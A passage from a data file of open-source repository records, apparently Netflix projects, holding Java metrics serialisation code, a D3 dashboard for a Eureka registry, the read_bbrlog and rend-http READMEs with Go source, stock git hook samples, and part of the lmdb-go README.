json.writeNumberField(\"95\", commandMetrics.getRollingPercentile().getPercentile(95));\n json.writeNumberField(\"99\", commandMetrics.getRollingPercentile().getPercentile(99));\n json.writeNumberField(\"99.5\", commandMetrics.getRollingPercentile().getPercentile(99.5));\n json.writeNumberField(\"100\", commandMetrics.getRollingPercentile().getPercentile(100));\n json.writeEndObject();\n\n json.writeNumberField(\"latencyTotal_mean\", commandMetrics.getRollingPercentile().getMean());\n json.writeObjectFieldStart(\"latencyTotal\");\n json.writeNumberField(\"0\", commandMetrics.getRollingPercentile().getPercentile(0));\n json.writeNumberField(\"25\", commandMetrics.getRollingPercentile().getPercentile(25));\n json.writeNumberField(\"50\", commandMetrics.getRollingPercentile().getPercentile(50));\n json.writeNumberField(\"75\", commandMetrics.getRollingPercentile().getPercentile(75));\n json.writeNumberField(\"90\", commandMetrics.getRollingPercentile().getPercentile(90));\n json.writeNumberField(\"95\", commandMetrics.getRollingPercentile().getPercentile(95));\n json.writeNumberField(\"99\", commandMetrics.getRollingPercentile().getPercentile(99));\n json.writeNumberField(\"99.5\", commandMetrics.getRollingPercentile().getPercentile(99.5));\n json.writeNumberField(\"100\", commandMetrics.getRollingPercentile().getPercentile(100));\n json.writeEndObject();\n \n json.writeNumberField(\"propertyValue_circuitBreakerRequestVolumeThreshold\", 0);\n json.writeNumberField(\"propertyValue_circuitBreakerSleepWindowInMilliseconds\", 0);\n json.writeNumberField(\"propertyValue_circuitBreakerErrorThresholdPercentage\", 0);\n json.writeBooleanField(\"propertyValue_circuitBreakerForceOpen\", false);\n json.writeBooleanField(\"propertyValue_circuitBreakerForceClosed\", false);\n json.writeBooleanField(\"propertyValue_circuitBreakerEnabled\", false);\n\n json.writeStringField(\"propertyValue_executionIsolationStrategy\", \"\");\n json.writeNumberField(\"propertyValue_executionIsolationThreadTimeoutInMilliseconds\", 0);\n json.writeBooleanField(\"propertyValue_executionIsolationThreadInterruptOnTimeout\", false);\n json.writeStringField(\"propertyValue_executionIsolationThreadPoolKeyOverride\", \"\");\n json.writeNumberField(\"propertyValue_executionIsolationSemaphoreMaxConcurrentRequests\", 0);\n json.writeNumberField(\"propertyValue_fallbackIsolationSemaphoreMaxConcurrentRequests\", 0);\n\n json.writeNumberField(\"propertyValue_metricsRollingStatisticalWindowInMilliseconds\", 10000);\n\n json.writeBooleanField(\"propertyValue_requestCacheEnabled\", false);\n json.writeBooleanField(\"propertyValue_requestLogEnabled\", false);\n\n \n json.writeNumberField(\"reportingHosts\", 1); // this will get summed across all instances in a cluster\n\n json.writeEndObject();\n json.close();\n\n return jsonString.getBuffer().toString();\n }\n\n}", "reactive-lab-services\\src\\main\\resources\\dashboard\\main.html": "<!DOCTYPE html>\n<html>\n<head lang=\"en\">\n <meta charset=\"UTF-8\">\n <title></title>\n <style>\n rect.bordered {\n stroke: #E6E6E6;\n stroke-width: 2px;\n }\n\n text.mono {\n font-size: 9pt;\n font-family: Consolas, courier;\n fill: #aaa;\n }\n\n text.appLabel {\n fill: #000;\n }\n </style>\n <script src=\"./d3.v3.js\"></script>\n</head>\n<body>\n<h1>Eureka Registry</h1>\n\n<script type=\"text/javascript\">\n var source = new EventSource(\"http://localhost:8888/data\");\n\n source.onopen = function () {\n console.log(\"SSE connection opened\");\n };\n\n source.onmessage = function (event) {\n var instInfo = JSON.parse(event.data);\n console.log(event.data);\n if (instInfo.vip && instInfo.type === 'Add') {\n addInstance(instInfo);\n } else if (instInfo.vip && instInfo.type === 'Delete') {\n removeInstance(instInfo);\n }\n };\n\n source.onerror = function (err) {\n console.log(\"Error streaming eureka registry\");\n console.log(err);\n };\n</script>\n\n<div id=\"chart\"></div>\n\n<script type=\"text/javascript\">\nvar margin = { top: 50, right: 0, bottom: 100, left: 250 },\n width = 1420 - margin.left - margin.right,\n height = 840 - margin.top - margin.bottom,\n gridSize = 20;\nvar statusList = ['STARTING', 'UP', 'OUT_OF_SERVICE', 'DOWN', 'UNKNOWN'];\nvar instIdToDataObj = {};\nvar curAppIndex = 0;\nvar appInstanceCountMap = {};\nvar appIndexMap = {};\nvar regData = [];\nvar timerItr = 0, timerMaxItr = 10;\nvar heatMap;\n\n// main\n//makeData();\n\nfunction getAppIndex(appId) {\n if (appId in appIndexMap) {\n return appIndexMap[appId];\n }\n curAppIndex = curAppIndex + 1;\n appIndexMap[appId] = curAppIndex;\n return curAppIndex;\n}\n\nfunction getAppInstanceCount(appId) {\n if (appId in appInstanceCountMap) {\n return appInstanceCountMap[appId];\n }\n return 0;\n}\n\nfunction getRandomInt(min, max) {\n return Math.floor(Math.random() * (max - min + 1)) + min;\n}\n\nfunction getRandInt() {\n return Math.floor(Math.random() * 100);\n}\n\nfunction makeRandomInstanceId() {\n return 'inst-' + getRandInt();\n}\n\nfunction makeRandomServiceName() {\n return 'reactive-lab-service-' + getRandomInt(1, 5);\n}\n\nfunction makeRandomStatus() {\n return statusList[getRandomInt(0, 4)];\n}\n\n//{\"port\":\"9905\",\"instance-id\":\"lgml-ajoshi-9905\",\"type\":\"Add\",\"vip\":\"reactive-lab-social-service\",\"status\":\"UP\"}\nfunction makeRandomInstanceInfo() {\n var port = getRandomInt(8000, 9000);\n var instanceId = makeRandomInstanceId();\n var status = makeRandomStatus();\n var serviceName = makeRandomServiceName();\n return { port: port, 'instance-id': instanceId, 'type': 'Add', vip: serviceName, status: status };\n}\n\nfunction makeNewRandomInstance() {\n var instInfo = makeRandomInstanceInfo();\n var appInstCount = getAppInstanceCount(instInfo.vip);\n instInfo.day = getAppIndex(instInfo.vip);\n instInfo.hour = (appInstCount + 1);\n appInstanceCountMap[instInfo.vip] = appInstCount + 1;\n instIdToDataObj[instInfo['instance-id']] = instInfo;\n return instInfo;\n}\n\nfunction makeNewInstance(instInfo) {\n var appInstCount = getAppInstanceCount(instInfo.vip);\n instInfo.day = getAppIndex(instInfo.vip);\n instInfo.hour = (appInstCount + 1);\n appInstanceCountMap[instInfo.vip] = (appInstCount + 1);\n instIdToDataObj[instInfo['instance-id']] = instInfo;\n return instInfo;\n}\n\nfunction makeData() {\n timerId = window.setInterval(function () {\n regData.push(makeNewRandomInstance());\n if (heatMap) {\n heatMap.update(regData);\n } else {\n heatMap = HeatMap(regData);\n heatMap.render();\n }\n }, 2000);\n}\n\nfunction addInstance(instInfo) {\n var newInstInfo = makeNewInstance(instInfo);\n regData.push(newInstInfo);\n if (heatMap) {\n heatMap.update(regData);\n } else {\n heatMap = HeatMap(regData);\n heatMap.render();\n }\n}\n\nfunction removeInstance(instInfo) {\n if (heatMap) {\n var instToRemove = instIdToDataObj[instInfo['instance-id']];\n removeDataPoint(instToRemove);\n heatMap.update(regData);\n delete instIdToDataObj[instInfo['instance-id']];\n }\n}\n\n// randomly delete an instance\nfunction removeInstanceRandom() {\n var totalInstances = Object.keys(instIdToDataObj).length;\n var randIndex = getRandomInt(0, (totalInstances - 1));\n\n var instKey = Object.keys(instIdToDataObj)[randIndex];\n var dataToDelete = instIdToDataObj[instKey];\n\n removeDataPoint(dataToDelete);\n heatMap.update(regData);\n delete instIdToDataObj[instKey]\n}\n\nfunction removeDataPoint(dp) {\n var appId = dp.day;\n var deleteIndex = regData.indexOf(dp);\n for (var i = deleteIndex + 1; i < regData.length; i++) {\n var instInfo = regData[i];\n if (instInfo.day == appId) {\n instInfo.hour = instInfo.hour - 1;\n }\n }\n appInstanceCountMap[dp.vip] = appInstanceCountMap[dp.vip] - 1;\n regData.splice(regData.indexOf(dp), 1);\n}\n\nfunction clearChart() {\n d3.select('#chart svg').remove()\n}\n\nfunction HeatMap(data) {\n var colorScale = d3.scale.ordinal().domain(statusList).range(['yellow', 'green', 'orange', 'red', 'black']);\n var svg, heatMap;\n\n function render() {\n clearChart();\n svg = d3.select(\"#chart\").append(\"svg\")\n .attr(\"width\", width + margin.left + margin.right)\n .attr(\"height\", height + margin.top + margin.bottom)\n .append(\"g\")\n .attr(\"transform\", \"translate(\" + margin.left + \",\" + margin.top + \")\");\n\n updateAll(data);\n buildLegend();\n }\n\n function keyFn(d) {\n return d.day + '-' + d.hour + '-' + d['instance-id'] + '-' + d.vip;\n }\n\n function updateAll(data) {\n updateAppLabels(data);\n updateData(data);\n }\n\n function updateAppLabels(data) {\n var appLabels = svg.selectAll(\".appLabel\").data(data, function (d) {\n return d.vip;\n });\n\n appLabels.enter().append(\"text\")\n .text(function (d) {\n return d.vip;\n })\n .attr(\"x\", 0)\n .attr(\"y\", function (d, i) {\n return (getAppIndex(d.vip) - 1) * 2 * gridSize;\n })\n .style(\"text-anchor\", \"end\")\n .attr(\"transform\", \"translate(-6,\" + gridSize / 1.5 + \")\")\n .attr(\"class\", function (d, i) {\n return \"mono appLabel\";\n });\n }\n\n function updateData(data) {\n heatMap = svg.selectAll(\".hour\").data(data, keyFn);\n heatMap.enter().append(\"rect\")\n .attr(\"x\", function (d) {\n return (d.hour - 1) * gridSize;\n })\n .attr(\"y\", function (d) {\n return (d.day - 1) * 2 * gridSize;\n })\n .attr(\"class\", \"hour bordered\")\n .attr(\"width\", 15)\n .attr(\"height\", 2 * gridSize)\n .style(\"fill\", function (d) {\n return colorScale(d.status);\n })\n .append('title').text(function (d) {\n return d['instance-id'] + \":\" + d.port;\n });\n\n // on update\n heatMap.transition().attr('x', function (d) {\n return (d.hour - 1) * gridSize;\n });\n\n heatMap.exit().remove();\n\n }\n\n function buildLegend() {\n var legendCont = svg.append('g').attr(\"transform\", \"translate(10, 600)\");\n legendCont.append('text')\n .attr('x', 5)\n .attr('y', -10)\n .style('stroke-width', 4)\n .text('Instance Status Legend');\n\n var legend = legendCont.selectAll('g.legendEntry')\n .data(statusList)\n .enter()\n .append('g').attr('class', 'legendEntry');\n\n legend.append('rect')\n .attr(\"x\", 10)\n .attr(\"y\", function (d, i) {\n return i * 20;\n })\n .attr(\"width\", 10)\n .attr(\"height\", 10)\n .style(\"stroke\", \"black\")\n .style(\"stroke-width\", 1)\n .style(\"fill\", function (d) {\n return colorScale(d);\n });\n\n legend.append('text')\n .attr(\"x\", 25) //leave 5 pixel space after the <rect>\n .attr(\"y\", function (d, i) {\n return i * 20;\n })\n .attr(\"dy\", \"0.65em\") //place text one line *below* the x,y point\n .text(function (d, i) {\n return d;\n });\n }\n\n return {\n render: render,\n update: updateAll\n }\n}\n\n</script>\n\n\n</body>\n</html>\n\n"} | null |
read_bbrlog | {"type": "directory", "name": "read_bbrlog", "children": [{"type": "file", "name": "LICENSE"}, {"type": "file", "name": "Makefile"}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "read_bbrlog.1"}, {"type": "file", "name": "read_bbrlog.c"}]} | # read_bbrlog
This utility is designed to read data generated by BBR and placed into the black box.
It by default will read from the black box logging directory and process record
files in sucession for the selected flow (generated by [tcplog_dumper](https://github.com/Netflix/tcplog_dumper)).
It generates a textual file that describes the events and processes that BBR
went through during processing of a connection.
## Build instruction
Need [bbparse library](https://github.com/Netflix/bbparse).
From a recent FreeBSD head|current:
```
pkg install bbparse
make
```
## Usage example
Files generated by [tcplog_dumper](https://github.com/Netflix/tcplog_dumper)
have the name format following this example:
```
UNKNOWN_5201_172.16.18.20_14257.514.pcapng.xz
```
On this example, we can instruct read_bbrlog to display the BBR event related to
the file serie ID 'UNKNOWN_5201_172.16.18.20_14257' with this command line:
```
# read_bbrlog -i UNKNOWN_5201_172.16.18.20_14257 -d /var/log/tcplog_dumps
30161875 0 [+5] IN Acks 0 (ACK:251963130) [Nsegs:1] off:32 out:0 len_in:1448 avail:0 cw:14480 rw:65728 ts:4 (spa:5 ip:1 ack:251963130) st:0 loss:0
530161875 0 [+0] TIMERCANC type:KEEP lineno:8699 for 12 usecs cw:14480 e:1935 pe:0 bbr_state:1-0 st:0
530161875 0 [+0] BBR_RTT_SHRINKS RTTS Was Idle(11114) flt:0 pg:739 [Time Since PRTT 2.286]
530161875 0 [+0] TIMERSTAR type:DACK(timer) lineno:6 for 100000(0) cw:14480 pg:739 cg:739 pe:0 del:0 lost:0 f2:0x5000
530161875 0 [+0] BBRSND DR:0.00 bps ltbw:14600000 rttProp:1000 sent:0 pacing_slot:0 out:0 flight:0 cw:14480 line:6 (ip:1 ii:0 ult:0)
530161875 0 [+0] DOSEG_DONE DR:0.00 bps cDR:0.00 bps do:0 np:0 wo:0 in_per:0 tmrs:DACK(0x1) cw:14480 rw:65728 ( 0) flt:0
530161879 0 [+4] IN Acks 0 (ACK:251963130) [Nsegs:1] off:32 out:0 len_in:1448 avail:0 cw:14480 rw:65728 ts:4 (spa:4 ip:1 ack:251963130) st:0 loss:0
530161879 0 [+0] BBR_RTT_SHRINKS RTTS Was Idle(11114) flt:0 pg:739 [Time Since PRTT 2.286]
530161879 0 [+0] TIMERCANC type:DACK lineno:12175 for 6 usecs cw:14480 e:1935 pe:0 bbr_state:1-0 st:0
530161879 0 [+0] PKT_OUT Sent(e:0) 251963130:0 (ACK:0) flt:0 avail:0 (spo:8 ip:0 ii:0 rdhu:0x0 116.80 Mbps(14600000) pg:739 piw:0 pd:0 d:0)
530161879 0 [+0] TIMERSTAR type:KEEP(timer) lineno:12 for 2147483646(0) cw:14480 pg:739 cg:739 pe:0 del:0 lost:0 f2:0x5000
530161879 0 [+0] BBRSND DR:0.00 bps ltbw:14600000 rttProp:1000 sent:0 pacing_slot:0 out:0 flight:0 cw:14480 line:12 (ip:1 ii:0 ult:0)
530161879 0 [+0] DOSEG_DONE DR:0.00 bps cDR:0.00 bps do:1 np:0 wo:0 in_per:0 tmrs:KEEP(0x20) cw:14480 rw:65728 ( 0) flt:0
530161883 0 [+4] IN Acks 0 (ACK:251963130) [Nsegs:1] off:32 out:0 len_in:1448 avail:0 cw:14480 rw:65728 ts:4 (spa:4 ip:^C [+0] BBRSND DR:0.00 bps ltbw:14600000 rttProp:1000 sent:0 pacing_slot:0 out:0 flight:0 cw:14480 line:6 (ip:1 ii:0 ult:0)
```
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
rend-http | {"type": "directory", "name": "rend-http", "children": [{"type": "directory", "name": "config", "children": [{"type": "file", "name": "config.go"}, {"type": "file", "name": "config_test.go"}]}, {"type": "directory", "name": "httph", "children": [{"type": "file", "name": "handler.go"}, {"type": "file", "name": "handler_test.go"}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "main.go"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}]} | # rend-http
_Rend server to proxy simple requests to an HTTP proxy._
This server only supports very basic operations: get, set, and delete. There is
no support for any other operations. Responses to other operations are just a
simple error saying that it doesn't recognize the request.
This is a process that allows simple "dumb" memcached clients to talk to the
EVCache HTTP cache proxy via the memcached protocol. This sounds like a lot of
hops because it is a lot of hops. This project will allow reuse of our current
java client library and the infrastructure running the HTTP proxy.
| {"main.go": "// Copyright 2016 Netflix, Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"log\"\n\t\"net/http\"\n\t_ \"net/http/pprof\"\n\t\"os\"\n\t\"os/signal\"\n\t\"runtime\"\n\t\"strconv\"\n\t\"strings\"\n\n\t\"github.com/netflix/rend-http/httph\"\n\t\"github.com/netflix/rend/handlers\"\n\t\"github.com/netflix/rend/metrics\"\n\t\"github.com/netflix/rend/orcas\"\n\t\"github.com/netflix/rend/protocol\"\n\t\"github.com/netflix/rend/protocol/binprot\"\n\t\"github.com/netflix/rend/protocol/textprot\"\n\t\"github.com/netflix/rend/server\"\n)\n\nfunc init() {\n\t// Setting up signal handlers\n\tsigs := make(chan os.Signal)\n\tsignal.Notify(sigs, os.Interrupt)\n\n\tgo func() {\n\t\t<-sigs\n\t\tpanic(\"Keyboard Interrupt\")\n\t}()\n\n\t// http debug and metrics endpoint\n\tgo http.ListenAndServe(\"localhost:11299\", nil)\n\n\t// metrics output prefix\n\tmetrics.SetPrefix(\"rend_http_\")\n}\n\ntype proxyinfo struct {\n\tlistenPort int\n\tproxyHost string\n\tproxyPort int\n\tcacheName string\n}\n\nvar pis = []proxyinfo{}\n\nfunc init() {\n\tflag.Usage = func() {\n\t\tfmt.Fprintf(os.Stderr, \"Proxies a list of memcached protocol ports to a corresponding list of proxy hostnames, ports, and caches.\\n\")\n\t\tflag.PrintDefaults()\n\t}\n\n\tvar listenPortsStr string\n\tvar proxyHostsStr string\n\tvar proxyPortsStr string\n\tvar cacheNamesStr string\n\n\tflag.StringVar(&listenPortsStr, \"listen-ports\", \"\", \"List of TCP ports to proxy from, separated by '|'\")\n\tflag.StringVar(&proxyHostsStr, \"proxy-hosts\", \"\", \"List of hostnames to proxy to, separated by '|'\")\n\tflag.StringVar(&proxyPortsStr, \"proxy-ports\", \"\", \"List of ports to proxy to, separated by '|'\")\n\tflag.StringVar(&cacheNamesStr, \"cache-names\", \"\", \"List of cache names to proxy to, separated by '|'\")\n\n\tflag.Parse()\n\n\tif len(listenPortsStr) == 0 || len(proxyHostsStr) == 0 || len(proxyPortsStr) == 0 || len(cacheNamesStr) == 0 {\n\t\tlog.Fatalln(\"Error: Must provide all params: --listen-ports, --proxy-hosts, --proxy-ports, --cache-names.\")\n\t}\n\n\t// Trim any quotes off of the args\n\ttrimQuotes := func(r rune) bool { return r == '\"' }\n\n\tlistenPortsStr = strings.TrimFunc(listenPortsStr, trimQuotes)\n\tproxyHostsStr = strings.TrimFunc(proxyHostsStr, trimQuotes)\n\tproxyPortsStr = strings.TrimFunc(proxyPortsStr, trimQuotes)\n\tcacheNamesStr = strings.TrimFunc(cacheNamesStr, trimQuotes)\n\n\tlistenPortsParts := strings.Split(listenPortsStr, \"|\")\n\tlistenPorts := make([]int, len(listenPortsParts))\n\tfor i, p := range listenPortsParts {\n\t\ttrimmed := strings.TrimSpace(p)\n\t\tif len(trimmed) == 0 {\n\t\t\tlog.Fatalln(\"Error: Invalid ports; must not have blank entries.\")\n\t\t}\n\t\ttemp, err := strconv.Atoi(trimmed)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Error: Invalid port: %s\", trimmed)\n\t\t}\n\t\tlistenPorts[i] = temp\n\t}\n\n\tproxyHosts := strings.Split(proxyHostsStr, \"|\")\n\tfor i, u := range proxyHosts {\n\t\tproxyHosts[i] = strings.TrimSpace(u)\n\t\tif len(proxyHosts[i]) == 0 {\n\t\t\tlog.Fatalln(\"Error:Invalid domain sockets; must not have blank entries.\")\n\t\t}\n\t}\n\n\tproxyPortsParts := strings.Split(proxyPortsStr, \"|\")\n\tproxyPorts := make([]int, len(proxyPortsParts))\n\tfor i, p := range proxyPortsParts {\n\t\ttrimmed := strings.TrimSpace(p)\n\t\tif len(trimmed) == 0 {\n\t\t\tlog.Fatalln(\"Error: Invalid proxy ports; must not have blank entries.\")\n\t\t}\n\t\ttemp, err := strconv.Atoi(trimmed)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Error: Invalid port: %s\", trimmed)\n\t\t}\n\t\tproxyPorts[i] = temp\n\t}\n\n\tcacheNames := strings.Split(cacheNamesStr, \"|\")\n\tfor i, u := range cacheNames {\n\t\tcacheNames[i] = strings.TrimSpace(u)\n\t\tif len(cacheNames[i]) == 0 {\n\t\t\tlog.Fatalln(\"Error:Invalid domain sockets; must not have blank entries.\")\n\t\t}\n\t}\n\n\tif len(listenPorts) != len(proxyHosts) || len(listenPorts) != len(proxyPorts) || len(listenPorts) != len(cacheNames) {\n\t\tlog.Fatalf(\"Error: all lists must match in length. Got %d listen ports, %d proxy hosts, %d proxy ports, %d cache names\\n\",\n\t\t\tlen(listenPorts), len(proxyHosts), len(proxyPorts), len(cacheNames))\n\t}\n\n\tfor i := 0; i < len(listenPorts); i++ {\n\t\tpis = append(pis, proxyinfo{\n\t\t\tlistenPort: listenPorts[i],\n\t\t\tproxyHost: proxyHosts[i],\n\t\t\tproxyPort: proxyPorts[i],\n\t\t\tcacheName: cacheNames[i],\n\t\t})\n\t}\n}\n\nfunc main() {\n\tfor _, pi := range pis {\n\t\tlargs := server.ListenArgs{\n\t\t\tType: server.ListenTCP,\n\t\t\tPort: pi.listenPort,\n\t\t}\n\n\t\tgo server.ListenAndServe(\n\t\t\tlargs,\n\t\t\t[]protocol.Components{binprot.Components, textprot.Components},\n\t\t\tserver.Default,\n\t\t\torcas.L1Only,\n\t\t\thttph.New(pi.proxyHost, pi.proxyPort, pi.cacheName),\n\t\t\thandlers.NilHandler,\n\t\t)\n\t}\n\n\truntime.Goexit()\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n"} | null |
rend-lmdb | {"type": "directory", "name": "rend-lmdb", "children": [{"type": "directory", "name": "example", "children": [{"type": "file", "name": "main.go"}]}, {"type": "file", "name": "LICENSE"}, {"type": "directory", "name": "lmdbh", "children": [{"type": "file", "name": "lmdbh.go"}]}, {"type": "file", "name": "NOTICE.md"}, {"type": "file", "name": "OSSMETADATA"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "vendor", "children": [{"type": "directory", "name": "github.com", "children": [{"type": "directory", "name": "bmatsuo", "children": [{"type": "directory", "name": "lmdb-go", "children": [{"type": "directory", "name": "cmd", "children": [{"type": "directory", "name": "lmdb_copy", "children": [{"type": "file", "name": "main.go"}]}, {"type": "directory", "name": "lmdb_stat", "children": [{"type": "file", "name": "main.go"}]}]}, {"type": "directory", "name": "exp", "children": [{"type": "directory", "name": "cmd", "children": [{"type": "directory", "name": "lmdb_cat", "children": [{"type": "file", "name": "main.go"}]}]}, {"type": "directory", "name": "lmdbscan", "children": [{"type": "file", "name": "example_test.go"}, {"type": "file", "name": "scanner.go"}, {"type": "file", "name": "scanner_test.go"}]}, {"type": "directory", "name": "lmdbsync", "children": [{"type": "file", "name": "handler.go"}, {"type": "file", "name": "handler_test.go"}, {"type": "file", "name": "lmdbsync.go"}, {"type": "file", "name": "lmdbsync_test.go"}, {"type": "directory", "name": "testresize", "children": [{"type": "file", "name": "main.go"}]}, {"type": "file", "name": "testresize_test.go"}]}]}, {"type": "directory", "name": "internal", "children": [{"type": "directory", "name": "lmdbcmd", "children": [{"type": "file", "name": "cmutil.go"}]}, {"type": "directory", "name": "lmdbtest", "children": [{"type": "file", "name": "lmdbtest.go"}]}]}, {"type": "directory", "name": "lmdb", "children": [{"type": "file", "name": "bench_test.go"}, {"type": "file", "name": "cursor.go"}, {"type": "file", "name": "cursor_test.go"}, {"type": "file", "name": "env.go"}, {"type": "file", "name": "env_test.go"}, {"type": "file", "name": "error.go"}, {"type": "file", "name": "error_test.go"}, {"type": "file", "name": "error_unix.go"}, {"type": "file", "name": "error_windows.go"}, {"type": "file", "name": "example_test.go"}, {"type": "file", "name": "lmdb.go"}, {"type": "file", "name": "lmdb.h"}, {"type": "file", "name": "lmdbgo.c"}, {"type": "file", "name": "lmdbgo.h"}, {"type": "file", "name": "lmdb_test.go"}, {"type": "file", "name": "mdb.c"}, {"type": "file", "name": "midl.c"}, {"type": "file", "name": "midl.h"}, {"type": "file", "name": "msgfunc.go"}, {"type": "file", "name": "msgfunc_test.go"}, {"type": "file", "name": "txn.go"}, {"type": "file", "name": "txn_test.go"}, {"type": "file", "name": "val.go"}, {"type": "file", "name": "val_test.go"}]}, {"type": "file", "name": "README.md"}]}]}]}]}]} | #lmdb-go [![releases/v1.6.0](https://img.shields.io/badge/release-v1.6.0-375eab.svg)](CHANGES.md) [![C/v0.9.18](https://img.shields.io/badge/C-v0.9.18-555555.svg)](https://github.com/LMDB/lmdb/blob/mdb.RE/0.9/libraries/liblmdb/CHANGES) [![Build Status](https://travis-ci.org/bmatsuo/lmdb-go.svg?branch=master)](https://travis-ci.org/bmatsuo/lmdb-go)
Go bindings to the OpenLDAP Lightning Memory-Mapped Database (LMDB).
## Packages
Functionality is logically divided into several packages. Applications will
usually need to import **lmdb** but may import other packages on an as needed
basis.
Packages in the `exp/` directory are not stable and may change without warning.
That said, they are generally usable if application dependencies are managed
and pinned by tag/commit.
Developers concerned with package stability should consult the documentation.
####lmdb [![GoDoc](https://godoc.org/github.com/bmatsuo/lmdb-go/lmdb?status.svg)](https://godoc.org/github.com/bmatsuo/lmdb-go/lmdb) [![stable](https://img.shields.io/badge/stability-stable-brightgreen.svg)](#user-content-versioning-and-stability) [![GoCover](http://gocover.io/_badge/github.com/bmatsuo/lmdb-go/lmdb)](http://gocover.io/github.com/bmatsuo/lmdb-go/lmdb)
```go
import "github.com/bmatsuo/lmdb-go/lmdb"
```
Core bindings allowing low-level access to LMDB.
####exp/lmdbscan [![GoDoc](https://godoc.org/github.com/bmatsuo/lmdb-go/exp/lmdbscan?status.svg)](https://godoc.org/github.com/bmatsuo/lmdb-go/exp/lmdbscan) [![unstable](https://img.shields.io/badge/stability-unstable-yellow.svg)](#user-content-versioning-and-stability) [![GoCover](http://gocover.io/_badge/github.com/bmatsuo/lmdb-go/exp/lmdbscan)](http://gocover.io/github.com/bmatsuo/lmdb-go/exp/lmdbscan)
```go
import "github.com/bmatsuo/lmdb-go/exp/lmdbscan"
```
A utility package for scanning database ranges. The API is inspired by
[bufio.Scanner](https://godoc.org/bufio#Scanner) and the python cursor
[implementation](https://lmdb.readthedocs.org/en/release/#cursor-class).
The **lmdbscan** package is unstable. The API is properly scoped and adequately
tested. And no features that exist now will be removed without notice and a
similar substitute. See the versioning documentation for more information.
####exp/lmdbsync [![GoDoc](https://godoc.org/github.com/bmatsuo/lmdb-go/exp/lmdbsync?status.svg)](https://godoc.org/github.com/bmatsuo/lmdb-go/exp/lmdbsync) [![experimental](https://img.shields.io/badge/stability-experimental-red.svg)](#user-content-versioning-and-stability) [![GoCover](http://gocover.io/_badge/github.com/bmatsuo/lmdb-go/exp/lmdbsync)](http://gocover.io/github.com/bmatsuo/lmdb-go/exp/lmdbsync)
```go
import "github.com/bmatsuo/lmdb-go/exp/lmdbsync"
```
An experimental utility package that provides synchronization necessary to
change an environment's map size after initialization. The package provides
error handlers to automatically manage database size and retry failed
transactions.
The **lmdbsync** package is usable but the implementation of Handlers are
unstable and may change in incompatible ways without notice. The use cases of
dynamic map sizes and multiprocessing are niche and the package requires much
more development driven by practical feedback before the Handler API and the
provided implementations can be considered stable.
## Key Features
###Idiomatic API
API inspired by [BoltDB](https://github.com/boltdb/bolt) with automatic
commit/rollback of transactions. The goal of lmdb-go is to provide idiomatic,
safe database interactions without compromising the flexibility of the C API.
###API coverage
The lmdb-go project aims for complete coverage of the LMDB C API (within
reason). Some notable features and optimizations that are supported:
- Idiomatic subtransactions ("sub-updates") that do not disrupt thread locking.
- Batch IO on databases utilizing the `MDB_DUPSORT` and `MDB_DUPFIXED` flags.
- Reserved writes than can save in memory copies converting/buffering into
`[]byte`.
For tracking purposes a list of unsupported features is kept in an
[issue](https://github.com/bmatsuo/lmdb-go/issues/1).
###Zero-copy reads
Applications with high performance requirements can opt-in to fast, zero-copy
reads at the cost of runtime safety. Zero-copy behavior is specified at the
transaction level to reduce instrumentation overhead.
```
err := lmdb.View(func(txn *lmdb.Txn) error {
// RawRead enables zero-copy behavior with some serious caveats.
// Read the documentation carefully before using.
txn.RawRead = true
val, err := txn.Get(dbi, []byte("largevalue"), 0)
// ...
})
```
###Documentation
Comprehensive documentation and examples are provided to demonstrate safe usage
of lmdb. In addition to [godoc](https://godoc.org/github.com/bmatsuo/lmdb-go)
documentation, implementations of the standand LMDB commands (`mdb_stat`, etc)
can be found in the [cmd/](cmd/) directory and some simple experimental
commands can be found in the [exp/cmd/](exp/cmd) directory. Aside from
providing minor utility these programs are provided as examples of lmdb in
practice.
##LMDB compared to BoltDB
BoltDB is a quality database with a design similar to LMDB. Both store
key-value data in a file and provide ACID transactions. So there are often
